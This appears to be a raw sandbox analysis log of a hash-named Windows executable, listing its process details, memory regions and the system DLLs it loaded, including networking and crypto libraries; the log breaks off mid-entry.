# Flog Txt Version 1
# Analyzer Version: 2023.1.1
# Analyzer Build Date: Mar 30 2023 05:18:15
# Log Creation Date: 13.04.2023 14:15:10.374
Process:
id = "1"
image_name = "05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe"
filename = "c:\\users\\rdhj0cnfevzx\\desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe"
page_root = "0x72234000"
os_pid = "0x12ec"
os_integrity_level = "0x3000"
os_privileges = "0x60800000"
monitor_reason = "analysis_target"
parent_id = "0"
os_parent_pid = "0x654"
cmd_line = "\"C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\" "
cur_dir = "C:\\Users\\RDhJ0CNFevzX\\Desktop\\"
os_username = "XC64ZB\\RDhJ0CNFevzX"
bitness = "32"
os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f9b9" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]
Region:
id = 115
start_va = 0x10000
end_va = 0x2ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000010000"
filename = ""
Region:
id = 116
start_va = 0x30000
end_va = 0x31fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000030000"
filename = ""
Region:
id = 117
start_va = 0x40000
end_va = 0x54fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000040000"
filename = ""
Region:
id = 118
start_va = 0x60000
end_va = 0x9ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000060000"
filename = ""
Region:
id = 119
start_va = 0xa0000
end_va = 0x19ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000000a0000"
filename = ""
Region:
id = 120
start_va = 0x1a0000
end_va = 0x1a3fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000001a0000"
filename = ""
Region:
id = 121
start_va = 0x1b0000
end_va = 0x1b1fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000001b0000"
filename = ""
Region:
id = 122
start_va = 0x200000
end_va = 0x3fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000200000"
filename = ""
Region:
id = 123
start_va = 0x400000
end_va = 0x4c1fff
monitored = 1
entry_point = 0x404ae9
region_type = mapped_file
name = "05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe"
filename = "\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe" (normalized: "c:\\users\\rdhj0cnfevzx\\desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe")
Region:
id = 124
start_va = 0x76ed0000
end_va = 0x7704afff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")
Region:
id = 125
start_va = 0x7ffb0000
end_va = 0x7ffd2fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007ffb0000"
filename = ""
Region:
id = 126
start_va = 0x7ffe0000
end_va = 0x7ffeffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000007ffe0000"
filename = ""
Region:
id = 127
start_va = 0x7fff0000
end_va = 0x7ffc71c9ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x000000007fff0000"
filename = ""
Region:
id = 128
start_va = 0x7ffc71ca0000
end_va = 0x7ffc71e60fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "ntdll.dll"
filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")
Region:
id = 129
start_va = 0x7ffc71e61000
end_va = 0x7ffffffeffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00007ffc71e61000"
filename = ""
Region:
id = 268
start_va = 0x4d0000
end_va = 0x57ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000004d0000"
filename = ""
Region:
id = 269
start_va = 0x59f40000
end_va = 0x59f8ffff
monitored = 0
entry_point = 0x59f58180
region_type = mapped_file
name = "wow64.dll"
filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll")
Region:
id = 270
start_va = 0x59fa0000
end_va = 0x5a019fff
monitored = 0
entry_point = 0x59fb3290
region_type = mapped_file
name = "wow64win.dll"
filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll")
Region:
id = 271
start_va = 0x76840000
end_va = 0x7691ffff
monitored = 0
entry_point = 0x76853980
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")
Region:
id = 272
start_va = 0x59f90000
end_va = 0x59f97fff
monitored = 0
entry_point = 0x59f917c0
region_type = mapped_file
name = "wow64cpu.dll"
filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll")
Region:
id = 273
start_va = 0x580000
end_va = 0x77ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000580000"
filename = ""
Region:
id = 274
start_va = 0x76840000
end_va = 0x7691ffff
monitored = 0
entry_point = 0x76853980
region_type = mapped_file
name = "kernel32.dll"
filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")
Region:
id = 275
start_va = 0x76920000
end_va = 0x76a9dfff
monitored = 0
entry_point = 0x769d1b90
region_type = mapped_file
name = "kernelbase.dll"
filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")
Region:
id = 276
start_va = 0x10000
end_va = 0x1ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000010000"
filename = ""
Region:
id = 277
start_va = 0x7feb0000
end_va = 0x7ffaffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x000000007feb0000"
filename = ""
Region:
id = 278
start_va = 0x580000
end_va = 0x63dfff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "locale.nls"
filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")
Region:
id = 279
start_va = 0x680000
end_va = 0x77ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000680000"
filename = ""
Region:
id = 280
start_va = 0x73b50000
end_va = 0x73be1fff
monitored = 0
entry_point = 0x73b90380
region_type = mapped_file
name = "apphelp.dll"
filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll")
Region:
id = 281
start_va = 0x7fb00000
end_va = 0x7fea0fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "sysmain.sdb"
filename = "\\Windows\\AppPatch\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\sysmain.sdb")
Region:
id = 282
start_va = 0x20000
end_va = 0x23fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000020000"
filename = ""
Region:
id = 283
start_va = 0x76ab0000
end_va = 0x76bfefff
monitored = 0
entry_point = 0x76b66820
region_type = mapped_file
name = "gdi32.dll"
filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")
Region:
id = 284
start_va = 0x73f00000
end_va = 0x74046fff
monitored = 0
entry_point = 0x73f11cf0
region_type = mapped_file
name = "user32.dll"
filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")
Region:
id = 285
start_va = 0x1c0000
end_va = 0x1fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000001c0000"
filename = ""
Region:
id = 286
start_va = 0x780000
end_va = 0x87ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000780000"
filename = ""
Region:
id = 287
start_va = 0x76df0000
end_va = 0x76e6afff
monitored = 0
entry_point = 0x76e0e970
region_type = mapped_file
name = "advapi32.dll"
filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")
Region:
id = 288
start_va = 0x74910000
end_va = 0x749cdfff
monitored = 0
entry_point = 0x74945630
region_type = mapped_file
name = "msvcrt.dll"
filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll")
Region:
id = 289
start_va = 0x749e0000
end_va = 0x74a23fff
monitored = 0
entry_point = 0x749f9d80
region_type = mapped_file
name = "sechost.dll"
filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll")
Region:
id = 290
start_va = 0x745d0000
end_va = 0x7467cfff
monitored = 0
entry_point = 0x745e4f00
region_type = mapped_file
name = "rpcrt4.dll"
filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll")
Region:
id = 291
start_va = 0x73c00000
end_va = 0x73c1dfff
monitored = 0
entry_point = 0x73c0b640
region_type = mapped_file
name = "sspicli.dll"
filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll")
Region:
id = 292
start_va = 0x73bf0000
end_va = 0x73bf9fff
monitored = 0
entry_point = 0x73bf2a00
region_type = mapped_file
name = "cryptbase.dll"
filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll")
Region:
id = 293
start_va = 0x76e70000
end_va = 0x76ec7fff
monitored = 0
entry_point = 0x76eb25c0
region_type = mapped_file
name = "bcryptprimitives.dll"
filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll")
Region:
id = 294
start_va = 0x4d0000
end_va = 0x4f9fff
monitored = 0
entry_point = 0x4d5680
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll")
Region:
id = 295
start_va = 0x570000
end_va = 0x57ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000570000"
filename = ""
Region:
id = 296
start_va = 0x880000
end_va = 0xa07fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000880000"
filename = ""
Region:
id = 297
start_va = 0x76170000
end_va = 0x7619afff
monitored = 0
entry_point = 0x76175680
region_type = mapped_file
name = "imm32.dll"
filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll")
Region:
id = 298
start_va = 0x30000
end_va = 0x30fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000030000"
filename = ""
Region:
id = 299
start_va = 0x4d0000
end_va = 0x4d0fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000004d0000"
filename = ""
Region:
id = 300
start_va = 0x4e0000
end_va = 0x4fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000004e0000"
filename = ""
Region:
id = 301
start_va = 0xa10000
end_va = 0xb90fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000a10000"
filename = ""
Region:
id = 302
start_va = 0xba0000
end_va = 0x1f9ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000ba0000"
filename = ""
Region:
id = 303
start_va = 0x1fa0000
end_va = 0x202ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000001fa0000"
filename = ""
Region:
id = 304
start_va = 0x70350000
end_va = 0x70355fff
monitored = 0
entry_point = 0x70351490
region_type = mapped_file
name = "msimg32.dll"
filename = "\\Windows\\SysWOW64\\msimg32.dll" (normalized: "c:\\windows\\syswow64\\msimg32.dll")
Region:
id = 305
start_va = 0x2030000
end_va = 0x282ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000002030000"
filename = ""
Region:
id = 306
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 307
start_va = 0x4f0000
end_va = 0x4fffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000004f0000"
filename = ""
Region:
id = 308
start_va = 0x4e0000
end_va = 0x4e4fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x00000000004e0000"
filename = ""
Region:
id = 309
start_va = 0x500000
end_va = 0x556fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000500000"
filename = ""
Region:
id = 310
start_va = 0x1fa0000
end_va = 0x1ff5fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000001fa0000"
filename = ""
Region:
id = 311
start_va = 0x2020000
end_va = 0x202ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002020000"
filename = ""
Region:
id = 312
start_va = 0x74a30000
end_va = 0x74b1afff
monitored = 0
entry_point = 0x74a6d650
region_type = mapped_file
name = "ole32.dll"
filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")
Region:
id = 313
start_va = 0x74680000
end_va = 0x7483cfff
monitored = 0
entry_point = 0x74762a10
region_type = mapped_file
name = "combase.dll"
filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll")
Region:
id = 314
start_va = 0x2030000
end_va = 0x20c0fff
monitored = 0
entry_point = 0x2068cf0
region_type = mapped_file
name = "oleaut32.dll"
filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")
Region:
id = 315
start_va = 0x73da0000
end_va = 0x73e31fff
monitored = 0
entry_point = 0x73dd8cf0
region_type = mapped_file
name = "oleaut32.dll"
filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")
Region:
id = 316
start_va = 0x70290000
end_va = 0x7034efff
monitored = 0
entry_point = 0x702a1dfc
region_type = mapped_file
name = "msvcr100.dll"
filename = "\\Windows\\SysWOW64\\msvcr100.dll" (normalized: "c:\\windows\\syswow64\\msvcr100.dll")
Region:
id = 317
start_va = 0x2030000
end_va = 0x211ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002030000"
filename = ""
Region:
id = 318
start_va = 0x640000
end_va = 0x67ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000640000"
filename = ""
Region:
id = 319
start_va = 0x71260000
end_va = 0x7127afff
monitored = 0
entry_point = 0x71269050
region_type = mapped_file
name = "bcrypt.dll"
filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll")
Region:
id = 320
start_va = 0x73c20000
end_va = 0x73d97fff
monitored = 0
entry_point = 0x73c78a90
region_type = mapped_file
name = "crypt32.dll"
filename = "\\Windows\\SysWOW64\\crypt32.dll" (normalized: "c:\\windows\\syswow64\\crypt32.dll")
Region:
id = 321
start_va = 0x76c90000
end_va = 0x76c9dfff
monitored = 0
entry_point = 0x76c95410
region_type = mapped_file
name = "msasn1.dll"
filename = "\\Windows\\SysWOW64\\msasn1.dll" (normalized: "c:\\windows\\syswow64\\msasn1.dll")
Region:
id = 322
start_va = 0x71290000
end_va = 0x7149cfff
monitored = 0
entry_point = 0x7137acb0
region_type = mapped_file
name = "wininet.dll"
filename = "\\Windows\\SysWOW64\\wininet.dll" (normalized: "c:\\windows\\syswow64\\wininet.dll")
Region:
id = 323
start_va = 0x748c0000
end_va = 0x74904fff
monitored = 0
entry_point = 0x748dde90
region_type = mapped_file
name = "shlwapi.dll"
filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll")
Region:
id = 324
start_va = 0x748b0000
end_va = 0x748b5fff
monitored = 0
entry_point = 0x748b1460
region_type = mapped_file
name = "psapi.dll"
filename = "\\Windows\\SysWOW64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")
Region:
id = 325
start_va = 0x74d70000
end_va = 0x7616efff
monitored = 0
entry_point = 0x74f2b990
region_type = mapped_file
name = "shell32.dll"
filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")
Region:
id = 326
start_va = 0x76db0000
end_va = 0x76de6fff
monitored = 0
entry_point = 0x76db3b50
region_type = mapped_file
name = "cfgmgr32.dll"
filename = "\\Windows\\SysWOW64\\cfgmgr32.dll" (normalized: "c:\\windows\\syswow64\\cfgmgr32.dll")
Region:
id = 327
start_va = 0x762f0000
end_va = 0x767e8fff
monitored = 0
entry_point = 0x764f7610
region_type = mapped_file
name = "windows.storage.dll"
filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll")
Region:
id = 328
start_va = 0x748a0000
end_va = 0x748abfff
monitored = 0
entry_point = 0x748a3930
region_type = mapped_file
name = "kernel.appcore.dll"
filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll")
Region:
id = 329
start_va = 0x76c00000
end_va = 0x76c8cfff
monitored = 0
entry_point = 0x76c49b90
region_type = mapped_file
name = "shcore.dll"
filename = "\\Windows\\SysWOW64\\SHCore.dll" (normalized: "c:\\windows\\syswow64\\shcore.dll")
Region:
id = 330
start_va = 0x767f0000
end_va = 0x76833fff
monitored = 0
entry_point = 0x767f7410
region_type = mapped_file
name = "powrprof.dll"
filename = "\\Windows\\SysWOW64\\powrprof.dll" (normalized: "c:\\windows\\syswow64\\powrprof.dll")
Region:
id = 331
start_va = 0x749d0000
end_va = 0x749defff
monitored = 0
entry_point = 0x749d2e40
region_type = mapped_file
name = "profapi.dll"
filename = "\\Windows\\SysWOW64\\profapi.dll" (normalized: "c:\\windows\\syswow64\\profapi.dll")
Region:
id = 332
start_va = 0x70150000
end_va = 0x7028efff
monitored = 0
entry_point = 0x7017d880
region_type = mapped_file
name = "dbghelp.dll"
filename = "\\Windows\\SysWOW64\\dbghelp.dll" (normalized: "c:\\windows\\syswow64\\dbghelp.dll")
Region:
id = 333
start_va = 0x4e0000
end_va = 0x4e3fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x00000000004e0000"
filename = ""
Region:
id = 334
start_va = 0x6dfb0000
end_va = 0x6e11afff
monitored = 0
entry_point = 0x6e01e360
region_type = mapped_file
name = "gdiplus.dll"
filename = "\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10586.0_none_538a540779726150\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10586.0_none_538a540779726150\\gdiplus.dll")
Region:
id = 335
start_va = 0x73880000
end_va = 0x73b4afff
monitored = 0
entry_point = 0x73abc4c0
region_type = mapped_file
name = "iertutil.dll"
filename = "\\Windows\\SysWOW64\\iertutil.dll" (normalized: "c:\\windows\\syswow64\\iertutil.dll")
Region:
id = 336
start_va = 0x2120000
end_va = 0x2456fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "sortdefault.nls"
filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")
Region:
id = 337
start_va = 0x560000
end_va = 0x560fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000560000"
filename = ""
Region:
id = 338
start_va = 0x640000
end_va = 0x640fff
monitored = 1
entry_point = 0x0
region_type = mapped_file
name = "counters.dat"
filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\INetCache\\counters.dat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\inetcache\\counters.dat")
Region:
id = 339
start_va = 0x670000
end_va = 0x67ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000000670000"
filename = ""
Region:
id = 340
start_va = 0x650000
end_va = 0x65ffff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000650000"
filename = ""
Region:
id = 341
start_va = 0x74840000
end_va = 0x7489efff
monitored = 0
entry_point = 0x74844af0
region_type = mapped_file
name = "ws2_32.dll"
filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll")
Region:
id = 342
start_va = 0x71240000
end_va = 0x71251fff
monitored = 0
entry_point = 0x71244510
region_type = mapped_file
name = "ondemandconnroutehelper.dll"
filename = "\\Windows\\SysWOW64\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\syswow64\\ondemandconnroutehelper.dll")
Region:
id = 343
start_va = 0x71210000
end_va = 0x7123efff
monitored = 0
entry_point = 0x7121bb70
region_type = mapped_file
name = "iphlpapi.dll"
filename = "\\Windows\\SysWOW64\\IPHLPAPI.DLL" (normalized: "c:\\windows\\syswow64\\iphlpapi.dll")
Region:
id = 344
start_va = 0x71170000
end_va = 0x7120afff
monitored = 0
entry_point = 0x711af7e0
region_type = mapped_file
name = "winhttp.dll"
filename = "\\Windows\\SysWOW64\\winhttp.dll" (normalized: "c:\\windows\\syswow64\\winhttp.dll")
Region:
id = 345
start_va = 0x1fa0000
end_va = 0x1fdffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000001fa0000"
filename = ""
Region:
id = 346
start_va = 0x2460000
end_va = 0x255ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002460000"
filename = ""
Region:
id = 347
start_va = 0x71120000
end_va = 0x7116efff
monitored = 0
entry_point = 0x7112d850
region_type = mapped_file
name = "mswsock.dll"
filename = "\\Windows\\SysWOW64\\mswsock.dll" (normalized: "c:\\windows\\syswow64\\mswsock.dll")
Region:
id = 348
start_va = 0x71110000
end_va = 0x71117fff
monitored = 0
entry_point = 0x71111fc0
region_type = mapped_file
name = "winnsi.dll"
filename = "\\Windows\\SysWOW64\\winnsi.dll" (normalized: "c:\\windows\\syswow64\\winnsi.dll")
Region:
id = 349
start_va = 0x76da0000
end_va = 0x76da6fff
monitored = 0
entry_point = 0x76da1e10
region_type = mapped_file
name = "nsi.dll"
filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll")
Region:
id = 350
start_va = 0x1fe0000
end_va = 0x201ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000001fe0000"
filename = ""
Region:
id = 351
start_va = 0x2560000
end_va = 0x265ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002560000"
filename = ""
Region:
id = 352
start_va = 0x2030000
end_va = 0x206ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002030000"
filename = ""
Region:
id = 353
start_va = 0x2110000
end_va = 0x211ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002110000"
filename = ""
Region:
id = 354
start_va = 0x2660000
end_va = 0x275ffff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002660000"
filename = ""
Region:
id = 355
start_va = 0x70750000
end_va = 0x707d3fff
monitored = 0
entry_point = 0x70776530
region_type = mapped_file
name = "dnsapi.dll"
filename = "\\Windows\\SysWOW64\\dnsapi.dll" (normalized: "c:\\windows\\syswow64\\dnsapi.dll")
Region:
id = 356
start_va = 0x714a0000
end_va = 0x7161dfff
monitored = 0
entry_point = 0x7151c630
region_type = mapped_file
name = "urlmon.dll"
filename = "\\Windows\\SysWOW64\\urlmon.dll" (normalized: "c:\\windows\\syswow64\\urlmon.dll")
Region:
id = 357
start_va = 0x660000
end_va = 0x660fff
monitored = 1
entry_point = 0x0
region_type = pagefile_backed
name = "pagefile_0x0000000000660000"
filename = ""
Region:
id = 358
start_va = 0x6f490000
end_va = 0x6f497fff
monitored = 0
entry_point = 0x6f491920
region_type = mapped_file
name = "rasadhlp.dll"
filename = "\\Windows\\SysWOW64\\rasadhlp.dll" (normalized: "c:\\windows\\syswow64\\rasadhlp.dll")
Region:
id = 359
start_va = 0x6f440000
end_va = 0x6f486fff
monitored = 0
entry_point = 0x6f4558d0
region_type = mapped_file
name = "fwpuclnt.dll"
filename = "\\Windows\\SysWOW64\\FWPUCLNT.DLL" (normalized: "c:\\windows\\syswow64\\fwpuclnt.dll")
Region:
id = 360
start_va = 0x2070000
end_va = 0x2072fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "mswsock.dll.mui"
filename = "\\Windows\\SysWOW64\\en-US\\mswsock.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\mswsock.dll.mui")
Region:
id = 361
start_va = 0x2080000
end_va = 0x2087fff
monitored = 0
entry_point = 0x20819c0
region_type = mapped_file
name = "wshqos.dll"
filename = "\\Windows\\SysWOW64\\wshqos.dll" (normalized: "c:\\windows\\syswow64\\wshqos.dll")
Region:
id = 362
start_va = 0x2090000
end_va = 0x2090fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "wshqos.dll.mui"
filename = "\\Windows\\SysWOW64\\en-US\\wshqos.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\wshqos.dll.mui")
Region:
id = 363
start_va = 0x2080000
end_va = 0x2087fff
monitored = 0
entry_point = 0x20819c0
region_type = mapped_file
name = "wshqos.dll"
filename = "\\Windows\\SysWOW64\\wshqos.dll" (normalized: "c:\\windows\\syswow64\\wshqos.dll")
Region:
id = 364
start_va = 0x2090000
end_va = 0x2090fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "wshqos.dll.mui"
filename = "\\Windows\\SysWOW64\\en-US\\wshqos.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\wshqos.dll.mui")
Region:
id = 365
start_va = 0x2080000
end_va = 0x2087fff
monitored = 0
entry_point = 0x20819c0
region_type = mapped_file
name = "wshqos.dll"
filename = "\\Windows\\SysWOW64\\wshqos.dll" (normalized: "c:\\windows\\syswow64\\wshqos.dll")
Region:
id = 366
start_va = 0x2090000
end_va = 0x2090fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "wshqos.dll.mui"
filename = "\\Windows\\SysWOW64\\en-US\\wshqos.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\wshqos.dll.mui")
Region:
id = 367
start_va = 0x2080000
end_va = 0x2087fff
monitored = 0
entry_point = 0x20819c0
region_type = mapped_file
name = "wshqos.dll"
filename = "\\Windows\\SysWOW64\\wshqos.dll" (normalized: "c:\\windows\\syswow64\\wshqos.dll")
Region:
id = 368
start_va = 0x2090000
end_va = 0x2090fff
monitored = 0
entry_point = 0x0
region_type = mapped_file
name = "wshqos.dll.mui"
filename = "\\Windows\\SysWOW64\\en-US\\wshqos.dll.mui" (normalized: "c:\\windows\\syswow64\\en-us\\wshqos.dll.mui")
Region:
id = 369
start_va = 0x6f3d0000
end_va = 0x6f433fff
monitored = 0
entry_point = 0x6f3eafd0
region_type = mapped_file
name = "schannel.dll"
filename = "\\Windows\\SysWOW64\\schannel.dll" (normalized: "c:\\windows\\syswow64\\schannel.dll")
Region:
id = 370
start_va = 0x2080000
end_va = 0x2081fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002080000"
filename = ""
Region:
id = 371
start_va = 0x6f3c0000
end_va = 0x6f3cffff
monitored = 0
entry_point = 0x6f3c4600
region_type = mapped_file
name = "mskeyprotect.dll"
filename = "\\Windows\\SysWOW64\\mskeyprotect.dll" (normalized: "c:\\windows\\syswow64\\mskeyprotect.dll")
Region:
id = 372
start_va = 0x6f3a0000
end_va = 0x6f3bffff
monitored = 0
entry_point = 0x6f3ad120
region_type = mapped_file
name = "ncrypt.dll"
filename = "\\Windows\\SysWOW64\\ncrypt.dll" (normalized: "c:\\windows\\syswow64\\ncrypt.dll")
Region:
id = 373
start_va = 0x6f370000
end_va = 0x6f39bfff
monitored = 0
entry_point = 0x6f38bb10
region_type = mapped_file
name = "ntasn1.dll"
filename = "\\Windows\\SysWOW64\\ntasn1.dll" (normalized: "c:\\windows\\syswow64\\ntasn1.dll")
Region:
id = 374
start_va = 0x2090000
end_va = 0x2090fff
monitored = 1
entry_point = 0x0
region_type = private
name = "private_0x0000000002090000"
filename = ""
Region:
id = 375
start_va = 0x6f340000
end_va = 0x6f347fff
monitored = 0
entry_point = 0x6f341d70
region_type = mapped_file
name = "dpapi.dll"
filename = "\\Windows\\SysWOW64\\dpapi.dll" (normalized: "c:\\windows\\syswow64\\dpapi.dll")
Region:
id = 376
start_va = 0x74460000
end_va = 0x744a1fff
monitored = 0
entry_point = 0x74476f10
region_type = mapped_file
name = "wintrust.dll"
filename = "\\Windows\\SysWOW64\\wintrust.dll" (normalized: "c:\\windows\\syswow64\\wintrust.dll")
Region:
id = 377
start_va = 0x70f00000
end_va = 0x70f12fff
monitored = 0
entry_point = 0x70f09950
region_type = mapped_file
name = "cryptsp.dll"
filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll")
Region:
id = 378
